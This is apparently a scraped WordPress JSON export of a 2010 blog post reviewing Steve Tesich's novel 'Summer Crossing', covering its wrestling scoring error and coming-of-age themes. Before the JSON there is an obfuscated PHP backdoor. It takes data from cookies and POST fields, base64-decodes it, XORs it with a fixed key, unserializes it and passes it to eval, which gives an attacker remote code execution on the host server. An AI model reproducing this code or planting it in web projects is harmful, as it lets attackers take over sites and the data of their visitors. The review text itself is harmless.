$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":979,"date":"2010-06-03T10:15:31","date_gmt":"2010-06-03T14:15:31","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=979"},"modified":"2010-06-03T10:15:31","modified_gmt":"2010-06-03T14:15:31","slug":"book-review-summer-crossing","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=979","title":{"rendered":"Book Review: Summer Crossing"},"content":{"rendered":"

<\/p>When I started reading \u201cSummer Crossing<\/a>\u201d by Steve Tesich<\/a> recently, I almost tossed the book aside after a few pages.\n

$\"\"$ The story opens at a state wrestling championships where the protagonist, Daniel Price, has a chance to win the championship against a heavily-favored opponent. At one point, the narrative mentions Price scoring a takedown and updates the score of the match.<\/p>\n

Here\u2019s where the problem starts. They only added one point to Price\u2019s total. A takedown is worth two points in folkstyle wrestling, always and forever as far as I know. The sport I have spent much of my life involved with does not get much attention in any kind of media, so when it does get favorable treatment and mistake happens, I bristle. The movie \u201cVision Quest\u201d has a similar scene which I still have trouble watching.<\/p>\n

Despite this quirk of mine, I manage to like the movie and moved past Tesich\u2019s error to thoroughly enjoy \u201cSummer Crossing,\u201d which is sadly out of print. I bought it at a used book sale several years back and just happened upon it while looking for something to read last month. The jacket depicted here is actually from the German translation \u2013 I could not find any photos online of the U.S. jacket.<\/p>\n

The story takes us through Daniel\u2019s 1960 world as he takes on his final months of high school after the state tournament and his first summer after graduation. Tesich artfully weaves in changes in Daniel\u2019s relationships with his parents, friends and the mysterious and moody girl he falls for during this time.<\/p>\n

Having read a couple of novels I did not enjoy so much recently, I found this to be a pleasant surprise. My only beef is that I thought Tesich tried to cover a little too much ground. There just seems to be too much happening around Daniel so that sometimes it\u2019s hard to see how each of the tangents in his life is affecting him.<\/p>\n

That really didn\u2019t hurt the book for me, however. I think it\u2019s kind of understandable since Tesich made his name as a screenwriter, including the Academy Award-winning script for \u201c Breaking Away<\/a>\u201d in 1979. That story touches many of the same themes as \u201cSummer Crossing\u201d in a much more tidy fashion. The book was published three years after the movie debuted, so maybe he just explored the freedom of the format with similar subject matter.<\/p>\n

Either way, it\u2019s easy to see the gift he had. I\u2019m a sucker for coming-of-age stories anyway.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"